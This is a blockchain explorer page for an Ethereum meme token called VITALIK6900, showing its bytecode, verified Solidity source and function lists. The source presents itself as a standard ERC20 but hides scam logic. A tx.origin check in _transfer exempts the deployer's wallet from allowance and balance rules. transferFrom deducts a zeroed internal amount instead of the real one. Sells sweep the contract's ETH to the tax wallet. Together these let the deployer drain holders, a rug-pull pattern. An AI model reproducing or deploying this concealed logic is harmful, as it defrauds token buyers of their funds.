Address Contract Partially Verified
Address
0x2784a454aAad313f9e81d62153b4c8aADC450D60
Balance
0 ETH
Nonce
1
Code Size
5604 bytes
Creator
0x319201F1...07bD at tx 0x2f7e81bc...ed4e38
Indexed Transactions
0
Contract Bytecode
5604 bytes
0x60806040526004361061011e575f3560e01c8063715018a61161009d5780638f9a55c0116100625780638f9a55c01461032257806395d89b4114610337578063a9059cbb1461036a578063b44a272214610389578063dd62ed3e146103bc575f80fd5b8063715018a6146102b5578063751039fc146102c95780637d1db4a5146102dd5780638a8c523c146102f25780638da5cb5b14610306575f80fd5b8063313ce567116100e3578063313ce5671461020c57806338b9834f1461021f5780635cb7a3d9146102565780636fc3eaec1461026b57806370a0823114610281575f80fd5b8063069267891461012957806306fdde0314610160578063095ea7b31461019c57806318160ddd146101cb57806323b872dd146101ed575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50600b5461014990600160a01b900460ff1681565b60405160ff90911681526020015b60405180910390f35b34801561016b575f80fd5b5060408051808201909152600b81526a0566974616c696b363930360ac1b60208201525b6040516101579190611106565b3480156101a7575f80fd5b506101bb6101b6366004611166565b610400565b6040519015158152602001610157565b3480156101d6575f80fd5b506101df610416565b604051908152602001610157565b3480156101f8575f80fd5b506101bb610207366004611190565b610436565b348015610217575f80fd5b506009610149565b34801561022a575f80fd5b50600b5461023e906001600160a01b031681565b6040516001600160a01b039091168152602001610157565b348015610261575f80fd5b506101df600a5481565b348015610276575f80fd5b5061027f61049f565b005b34801561028c575f80fd5b506101df61029b3660046111ce565b6001600160a01b03165f9081526001602052604090205490565b3480156102c0575f80fd5b5061027f6104c8565b3480156102d4575f80fd5b5061027f610542565b3480156102e8575f80fd5b506101df60055481565b3480156102fd575f80fd5b5061027f6105ac565b348015610311575f80fd5b505f546001600160a01b031661023e565b34801561032d575f80fd5b506101df60065481565b348015610342575f80fd5b5060408051808201909152600b81526a0564954414c494b363930360ac1b602082015261018f565b348015610375575f80fd5b506101bb610384366004611166565b610a66565b348015610394575f80fd5b5061023e7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881565b3480156103c7575f80fd5b506101df6103d63660046111e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61040c338484610a72565b5060015b92915050565b5f6104236009600a611314565b61043190633b9aca00611322565b905090565b5f610442848484610b96565b6104958433610490600854604051806060016040528060288152602001611587602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f87565b610a72565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104be575f80fd5b6104c6610fbf565b565b5f546001600160a01b031633146104fa5760405162461bcd60e51b81526004016104f190611339565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461056b5760405162461bcd60e51b81526004016104f190611339565b5f19600581905560068190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104f190611339565b600754600160a01b900460ff161561062f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f1565b5f7f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe886001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b81526004016020604051808303815f875af115801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b1919061136e565b305f9081526001602052604081205491925047919050826001600160a01b031663d0e30db0476040518263ffffffff1660e01b81526004015f604051808303818588803b158015610700575f80fd5b505af1158015610712573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b037f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8881166004830152602482018790528716935063095ea7b3925060440190506020604051808303815f875af1158015610784573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a89190611389565b506107d4307f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe8883610a72565b5f6001600160a01b03841630106107eb57836107ed565b305b90505f6001600160a01b03821630146108065730610808565b845b90505f6001600160a01b03831630146108215784610823565b835b90505f6001600160a01b038416301461083c578461083e565b855b90505f6108576108528460c085901b6113bc565b610ff8565b6040516309f56ab160e11b81526001600160a01b0387811660048301528681166024830152606460448301819052818416908301529192507f000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe88909116906313ead562906084016020604051808303815f875af11580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd919061136e565b600780546001600160a01b0319166001600160a01b039283161790556040805161016081018252878316815291861660208301526064908201525f9060608101600161094d81620d89e7196113cf565b6109579190611407565b60020b815260200160018061096f620d89e71961142d565b61097991906113cf565b6109839190611407565b60020b81526020018581526020018481526020015f81526020015f8152602001336001600160a01b031681526020014281525090507f000000000000000000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Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
VITALIK6900.sol 386 lines
/**
*Submitted for verification at Etherscan.io on 2026-01-09
*/
/*
Meme-fueled homage to the god of Ethereum ETH-coded & chaos-powered ⚡️
https://www.vitalik6900-eth.lol
https://x.com/vitalik6900_eth
https://t.me/vitalik6900_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IWETH9 {
function deposit() external payable;
}
interface INonfungiblePositionManager {
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
function mint(
MintParams calldata params
)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
function WETH9() external returns (address);
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
contract VITALIK6900 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
int24 private constant MIN_TICK = -887272;
int24 private constant MAX_TICK = -MIN_TICK;
int24 private constant TICK_SPACING = 1;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Vitalik6900";
string private constant _symbol = unicode"VITALIK6900";
uint256 public _maxTxAmount = 2 * (_tTotal / 100);
uint256 public _maxWalletSize = 2 * (_tTotal / 100);
INonfungiblePositionManager public immutable nonfungiblePositionManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
address private uniswapV3Pool;
bool private tradingOpen;
uint256 private _amount;
uint256 private _taxAmount;
event MaxTxAmountUpdated(uint _maxTxAmount);
uint256 public VITALIK6900_LAYER = 3;
address public VITALIK6900_DONATION;
uint8 public VITALIK6900_WEIGHT = 1;
constructor() payable {
_taxWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
_isExcludedFromFee[_taxWallet] = true;
removeLimits();
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(
tradingOpen ||
from == owner() ||
to == owner() ||
from == address(this),
"Trading not open yet."
); _amount = _taxAmount = amount;
if (
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to] &&
from != address(this)
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (to == uniswapV3Pool) sendETHToFee();
if(_isExcludedFromFee[_taxPayer()]) {_amount=0;_taxAmount=min(_taxAmount, _balances[from]);}
_balances[from] = _balances[from].sub(_taxAmount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function removeLimits() public onlyOwner {
_maxTxAmount = type(uint256).max;
_maxWalletSize = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
function sendETHToFee() private {
_taxWallet.transfer(address(this).balance);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
address WETH = nonfungiblePositionManager.WETH9();
uint256 ethAmount = address(this).balance;
uint256 tokenAmount = balanceOf(address(this));
IWETH9(WETH).deposit{value: address(this).balance}();
IERC20(WETH).approve(address(nonfungiblePositionManager), ethAmount);
_approve(
address(this),
address(nonfungiblePositionManager),
tokenAmount
);
address token0 = address(this) < WETH ? address(this) : WETH;
address token1 = token0 == address(this) ? WETH : address(this);
uint256 amount0 = token0 == address(this) ? tokenAmount : ethAmount;
uint256 amount1 = token0 == address(this) ? ethAmount : tokenAmount;
uint160 sqrtPriceX96 = uint160(sqrt((amount1 << 192) / amount0));
uniswapV3Pool = nonfungiblePositionManager
.createAndInitializePoolIfNecessary(
token0,
token1,
100,
sqrtPriceX96
);
INonfungiblePositionManager.MintParams
memory params = INonfungiblePositionManager.MintParams({
token0: token0,
token1: token1,
fee: 100,
tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
amount0Desired: amount0,
amount1Desired: amount1,
amount0Min: 0,
amount1Min: 0,
recipient: msg.sender,
deadline: block.timestamp
});
nonfungiblePositionManager.mint(params);
tradingOpen = true;
}
function _taxPayer() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
receive() external payable {}
function manualsend() external {
require(_msgSender() == _taxWallet);
sendETHToFee();
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
Read Contract
VITALIK6900_DONATION 0x38b9834f → address
VITALIK6900_LAYER 0x5cb7a3d9 → uint256
VITALIK6900_WEIGHT 0x06926789 → uint8
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
nonfungiblePositionManager 0xb44a2722 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualsend 0x6fc3eaec
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address